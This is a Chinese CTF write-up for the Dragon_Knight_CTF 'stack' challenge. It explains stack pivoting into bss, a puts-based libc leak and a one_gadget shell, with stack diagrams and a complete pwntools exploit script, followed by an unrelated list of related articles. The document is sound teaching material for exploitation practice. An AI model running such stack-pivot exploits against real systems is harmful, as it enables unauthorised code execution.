Dragon_Knight_CTF-stack(栈迁移)

news/2025/1/22 12:26:11/文章来源:https://www.cnblogs.com/xiaochange/p/18237958

Dragon_Knight_CTF-stack(栈迁移)

程序的保护情况如下,可以看到没有开启pie保护

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x3fe000)

可以看道main函数也很简洁,只有一个0x10大小的溢出,程序给了libc,版本是2.31的

nt __fastcall main(int argc, const char **argv, const char **envp)
{char buf[256]; // [rsp+0h] [rbp-100h] BYREFinits();puts("Hello, CTFer, do you know how to stack pivoting?");read(0, buf, 0x110uLL);return 0;
}

思路分析

思路一:

image-20240605212341156

可以看到返回地址是一个libc地址,我们只要将这个地址改成og地址就能拿到shell了,只不过这个比较看脸,1/4096的概率,理论上是可以拿到shell的,开多线程的话机会更大。但是对于我这种石头剪刀布都没有赢过别人的人,这种方法是行不通的。

image-20240605212759326

思路二:

那就是栈迁移了,pwn最开始的栈迁移题目,一般是会给两次read机会的,第一次让我们往bss段上写rop,第二次只给0x10大小的溢出空间让我们进行栈迁移操作。

这道题只给了0x10大小的栈溢出空间,所以我们要想办法,创造多次写入的机会。

main函数的汇编:

.text:0000000000401176 ; __unwind {
.text:0000000000401176                 endbr64
.text:000000000040117A                 push    rbp
.text:000000000040117B                 mov     rbp, rsp
.text:000000000040117E                 sub     rsp, 100h
.text:0000000000401185                 mov     eax, 0
.text:000000000040118A                 call    inits
.text:000000000040118F                 lea     rdi, s          ; "Hello, CTFer, do you know how to stack "...
.text:0000000000401196                 call    _puts
.text:000000000040119B                 lea     rax, [rbp+buf]
.text:00000000004011A2                 mov     edx, 110h       ; nbytes
.text:00000000004011A7                 mov     rsi, rax        ; buf
.text:00000000004011AA                 mov     edi, 0          ; fd
.text:00000000004011AF                 mov     eax, 0
.text:00000000004011B4                 call    _read
.text:00000000004011B9                 mov     eax, 0
.text:00000000004011BE                 leave
.text:00000000004011BF                 retn
.text:00000000004011BF ; } // starts at 401176
.text:00000000004011BF main            endp

可以看到0x040119B,这行汇编会将rbp+buf的地址传给rax,而0x04011A7又会将rax传给rsi,之后会执行read函数,而rsi正是read函数的第二个参数,也就是要写入内容的地址。

所以我们如果能控制了rbp,那么这里就相当于有一个任意写。

到这里思路就很明朗了,这里的任意写我们在bss段写上rop,然后会执行leave ret,完成栈转移。

第一次溢出:

magic = 0x0040119B   #lea rax,[rbp+buf]
bss_buf = 0x0404a00payload = b'a'*0x100+p64(bss_buf+0x100)+p64(magic)
p.sendafter('pivoting?\n',payload)

因为是页对齐,所以bss段其实是比较大的,bss段开始是0x404040,我这里设置bss_buf是0x40a00,这两者相差好几百字节。为什么要这么设置呢?因为假如在bss段执行rop,比如说执行read函数,在调用read函数的时候会向上申请栈,那么他可能会申请到不可读的空间,甚至会覆盖到got表,这样程序就直接carsh了,所以栈转移一般要设置在bss段后面一点,以防发生类似的错误。

这里首先就是将rbp设置成bss_buf+0x100,然后将会执行read(0,bss_buf,0x110),在执行read函数的时候其实还没进行栈转移,栈转移是在执行完read函数之后进行的。

第二次溢出:

payload = p64(pop_rdi)+p64(puts_got)+p64(puts)
payload+= p64(pop_rbp)+p64(bss_buf+0x100+0x30)+p64(magic)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf-8)+p64(leave_ret)
p.send(payload)

向bss_buf进行写rop,用puts函数来泄露libc基地址。

之后通过调整rbp的值,再次调用magic函数来获取任意写,这次要写入的地址其实是bss_buf+0x30。

第三次溢出:

payload = p64(pop_r12_r13_r14_r15)+p64(0)*4+p64(shell)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf+0x30-8)+p64(leave_ret)
p.send(payload)

再次完成栈转移,将rip劫持到bss_buf+0x30去执行我们写入的pop_r12_r13_r14_r15,用pop_r12_r13_r14_r15来使og可用,拿到shell。


栈转移分析

为了方便理解,我画了一些栈图来帮助理解。

magic = 0x0040119B   #lea rax,[rbp+buf]
bss_buf = 0x0404a00payload = b'a'*0x100+p64(bss_buf+0x100)+p64(magic)
p.sendafter('pivoting?\n',payload)

在执行完read函数,溢出后此时的栈空间:

rsp-->
...
0x7ffcb8008b70 aaaaaaaa
... aaaaaaaa
0x7ffcb8008c58 aaaaaaaa
0x7ffcb8008c60 aaaaaaaa
0x7ffcb8008c68 aaaaaaaa
rbp--> 0x7ffcb8008c70 0x404b00
return_addr 0x7ffcb8008c78 magic

执行main函数本身的leave ret后:

0x4049f8 0
0x404a00 0
0x404a08 0
0x404a10 0
0x404a18 0
0x404a20 0
0x404a28 0
0x404a30 0
... 0
rbp--> 0x404b00 0
0x404b08

执行read(0,0x404a00,0x110)

payload = p64(pop_rdi)+p64(puts_got)+p64(puts)
payload+= p64(pop_rbp)+p64(bss_buf+0x100+0x30)+p64(magic)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf-8)+p64(leave_ret)
p.send(payload)
0x4049f8 0
0x404a00 pop_rdi
0x404a08 puts_got
0x404a10 puts
0x404a18 pop_rbp
0x404a20 0x40b30
0x404a28 magic
0x404a30 0
... 0
rbp--> 0x404b00 0x4049f8
0x404b08 leave_ret

第一次溢出将返回地址覆盖为magic,执行完read后会带一个leave ret指令,执行完leave ret指令的栈图

rbp--> 0x4049f8 0
0x404a00 pop_rdi
0x404a08 puts_got
0x404a10 puts
0x404a18 pop_rbp
0x404a20 0x40b30
0x404a28 magic
0x404a30 aaaaaaaa
... aaaaaaaa
0x404b00 0x4049f8
rsp--> 0x404b08 leave_ret

rsp指向leave ret,将会再次执行leave ret指令,执行完的栈图

0x4049f8 0
rsp--> 0x404a00 pop_rdi
0x404a08 puts_got
0x404a10 puts
0x404a18 pop_rbp
0x404a20 0x40b30
0x404a28 magic
0x404a30 aaaaaaaa
... aaaaaaaa
rbp--> 0x404b00 0x4049f8
0x404b08 leave_ret

puts(puts_got)

read(0,0x404a30,0x110)

payload = p64(pop_r12_r13_r14_r15)+p64(0)*4+p64(shell)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf+0x30-8)+p64(leave_ret)
p.send(payload)
0x4049f8
0x404a00
0x404a08
0x404a10
0x404a18
0x404a20
rsp--> 0x404a28
0x404a30 pop_r12_r13_r14_r15
0x404a38 0
0x404a40 0
0x404a48 0
0x404a50 0
0x404a58 shell
... 0
0x404b08 0
0x404b10 0
0x404b18 0
0x404b20 0
0x404b28 0
rbp--> 0x404b30 0x404a28
0x404b38 leave_ret

执行跳转到magic地址自带的leave ret

0x4049f8
0x404a00
0x404a08
0x404a10
0x404a18
0x404a20
rbp--> 0x404a28
0x404a30 pop_r12_r13_r14_r15
0x404a38 0
0x404a40 0
0x404a48 0
0x404a50 0
0x404a58 shell
... 0
0x404b08 0
0x404b10 0
0x404b18 0
0x404b20 0
0x404b28 0
0x404b30 0x404a28
rsp--> 0x404b38 leave_ret

rsp指向leave ret,将会再次执行leave ret指令,执行完的栈图

0x4049f8
0x404a00
0x404a08
0x404a10
0x404a18
0x404a20
0x404a28
rsp--> 0x404a30 pop_r12_r13_r14_r15
0x404a38 0
0x404a40 0
0x404a48 0
0x404a50 0
0x404a50 shell
... 0
0x404b08 0
0x404b10 0
0x404b18 0
0x404b20 0
0x404b28 0
0x404b30 0x404a28
0x404b38 leave_ret

接下来执行pop_r12_r13_r14_r15,然后就拿到shell了。


exp

from pwn import *p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')magic = 0x0040119B   #lea rax,[rbp+buf]
pop_rdi = 0x00401210
puts_got = elf.got['puts']
puts = elf.plt['puts']
leave_ret = 0x004011BE
read = elf.plt['read']
pop_rbp = 0x0040115d
bss_buf = 0x0404a00
og = [0xe3afe,0xe3b01,0xe3b04]payload = b'a'*0x100+p64(bss_buf+0x100)+p64(magic)
p.sendafter('pivoting?\n',payload)payload = p64(pop_rdi)+p64(puts_got)+p64(puts)
payload+= p64(pop_rbp)+p64(bss_buf+0x100+0x30)+p64(magic)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf-8)+p64(leave_ret)
p.send(payload)
libc_base = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))-libc.symbols['puts']
print('libc_base-->'+hex(libc_base))shell = libc_base+og[0]
pop_r12_r13_r14_r15 = 0x040127cpayload = p64(pop_r12_r13_r14_r15)+p64(0)*4+p64(shell)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf+0x30-8)+p64(leave_ret)
p.send(payload)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/721628.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

成为MySQL DBA后,再看ORACLE数据库(七、日志体系)

说起数据库的日志,一般有redo日志、归档日志、错误日志、审计日志等,不同的数据库为了满足其特定的功能会有不同类型的日志。在ORACLE的日常运维中,可能接触得最多的就是redo日志、归档日志、告警日志、闪回日志这几种日志。在ORACLE知识体系中,一般把redo、undo、checkpoi…

bitbucket无法使用ssh连接

原因 如图所示,需要开启pipelines而开启pipelines需要通过Twilio Authy Authenticator这个软件。然而国内手机号收不到这玩意的验证码。未解决 放弃了,直接用http

x86_64系统调用过程

x86_64系统调用过程本文所述Linux内核版本为v6.4.0一、概述 在x86_64架构下,系统调用会经历以下过程:将系统调用号存入rax寄存器,参数依次存入rdi、rsi、rdx、r10、r8、r9寄存器,第7个及之后的参数会通过栈传递。 执行syscall指令,该指令会保存syscall指令下一条指令的地址…

第二章 InnoDB存储引擎

2.1 InnoDB存储引擎概述 InnoDB从MySQL5.5版本开始是默认的表存储引擎,是第一个完整支持ACID事务的MySQL存储引擎 特点是行锁设计、支持MVCC、支持外键、提供一致性非锁定读,同时被设计用来最有效利用以及使用内存的CPU2.2 InnoDB存储引擎的版本 InnoDB存储引擎包含于所有MyS…

DVWA靶场学习(一)—— Brute Force

Brute Force 暴力破解其实就是利用不同的账户和密码进行多次尝试。 因为用户在设置密码时可能会选用比较容易记忆的口令,因此,可以使用一些保存常用密码的字典或者结合用户的个人信息进行爆破。 DVWA安全等级有Low,Medium,High和Impossible四种,随着安全等级的提高,网站的…

m基于PSO粒子群优化的LDPC码NMS译码算法最优归一化参数计算和误码率matlab仿真

1.算法仿真效果 matlab2022a仿真结果如下:2.算法涉及理论知识概要低密度奇偶校验码(Low-Density Parity-Check Code, LDPC码)因其优越的纠错性能和近似香农极限的潜力,在现代通信系统中扮演着重要角色。归一化最小和(Normalized Min-Sum, NMS)译码算法作为LDPC码的一种高效软…

RAVEN2

RAVEN2主机发现和nmap扫描 nmap -sT --min-rate 10000 -p- 192.168.56.108PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 54037/tcp open unknown MAC Address: 00:0C:29:60:6F:30 (VMware)nmap -sT -sV -sC -O -p22,80,111,540…

mos管为什么会有寄生二极管 寄生二极管的示意图/作用参数/方向判定

mos管为什么会有寄生二极管 mos管会有寄生二极管是因为mos管的源极和漏极之间的电阻会发生变化,这种变化会导致mos管内部的电压发生变化,从而产生一个寄生二极管。寄生二极管可以抑制mos管的漏电,从而提高mos管的效率。 寄生二极管 漏极和源极之间有一个寄生二极管,即“体二…

scrapy-分布式爬虫

一 介绍 原来scrapy的Scheduler维护的是本机的任务队列(存放Request对象及其回调函数等信息)+本机的去重队列(存放访问过的url地址)所以实现分布式爬取的关键就是,找一台专门的主机上运行一个共享的队列比如Redis,然后重写Scrapy的Scheduler,让新的Scheduler到共享队列存…

使用itextPDF实现PDF电子公章工具类

使用itextPDF实现PDF电子公章工具类 一、制作公章 在线网站:印章生成器 - Kalvin在线工具 (kalvinbg.cn) 然后对公章进行下载保存盖章图片:二、生成数字签名 2.1: java工具keytool生成p12数字证书文件 Keytool是用于管理和证书的工具,位于%JAVA_HOME%/bin目录。 使用JDK的…

前后端分离的四种开发模式

前后端分离已经成为了开发的主流模式,很多老铁认为前后端分离就是各干各的,其实不然。 前后端分离有多种模式,我们一一详解。1. 前后端完全分离 在这种模式下,前端和后端是完全独立的两个系统。前端使用一种框架(如React、Angular、Vue.js等)来实现用户界面,通过API调用…